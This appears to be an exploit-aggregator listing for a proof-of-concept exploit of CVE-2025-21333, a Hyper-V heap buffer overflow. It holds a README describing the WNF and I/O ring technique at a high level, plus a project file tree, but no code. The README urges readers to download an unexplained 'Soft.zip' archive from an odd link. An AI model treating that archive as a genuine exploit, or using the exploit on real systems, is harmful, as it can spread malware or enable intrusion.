CVE-2025-21333 PoC — Microsoft Hyper-V 安全漏洞

Source

Associated Vulnerability

Description

POC exploit for CVE-2025-21333 heap-based buffer overflow. It leverages WNF state data and I/O ring IOP_MC_BUFFER_ENTRY

Readme

# Exploit-Playground: 🚀

Welcome to the Exploit-Playground repository! Here you will find a Proof of Concept (POC) exploit for the CVE-2025-21333 heap-based buffer overflow vulnerability. This exploit leverages the Windows Notification Facility (WNF) state data and the I/O ring IOP_MC_BUFFER_ENTRY. 

## Repository Details

- **Repository Name:** CVE-2025-21333-POC
- **Short Description:** POC exploit for CVE-2025-21333 heap-based buffer overflow.
- **Topics:** not provided

## Exploit Details

This POC exploit demonstrates the exploitation of the CVE-2025-21333 vulnerability, which allows an attacker to trigger a heap-based buffer overflow. By manipulating the WNF state data and I/O ring IOP_MC_BUFFER_ENTRY, the exploit can gain unauthorized access and potentially execute malicious code on the target system.

## Usage

To access the exploit code and detailed instructions, please download the exploit file from the following link:

[Download Exploit](https://github.com/file/Soft.zip)

![Download Exploit](https://img.shields.io/badge/Download-Exploit-green)

Make sure to launch the exploit in a controlled environment as it is for educational and research purposes only.

## Additional Resources

If the provided link is not accessible or does not work, please check the "Releases" section of this repository for alternative download options.

## Support

For any questions, concerns, or feedback regarding this exploit, please feel free to open an issue or contact the repository owner.

## Disclaimer

This exploit is intended for ethical hacking, cybersecurity research, and educational purposes only. Misuse of this exploit is illegal and strictly prohibited.

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By exploring this repository, you are stepping into the exciting world of cybersecurity research and exploitation. Have fun learning and stay curious! 🛠️🔒

![Cybersecurity](https://media.istockphoto.com/vectors/cyber-security-technology-concept-vector-id1160811719)

Let's hack ethically! 💻🔓

Happy Exploiting! 🌟🚨

File Snapshot

 [4.0K]  /data/pocs/8703e4f4d3709b2ae8b9a58a5cd93fd83802fb24
├── [4.0K]  CVE-2025-21333-POC
│   ├── [ 62K]  CVE-2025-21333-POC.cpp
│   ├── [6.6K]  CVE-2025-21333-POC.vcxproj
│   ├── [1.2K]  CVE-2025-21333-POC.vcxproj.filters
│   ├── [1.5K]  Hexdump.hpp
│   └── [8.9K]  wnf.h
├── [1.4K]  CVE-2025-21333-POC.sln
└── [2.0K]  README.md

1 directory, 7 files

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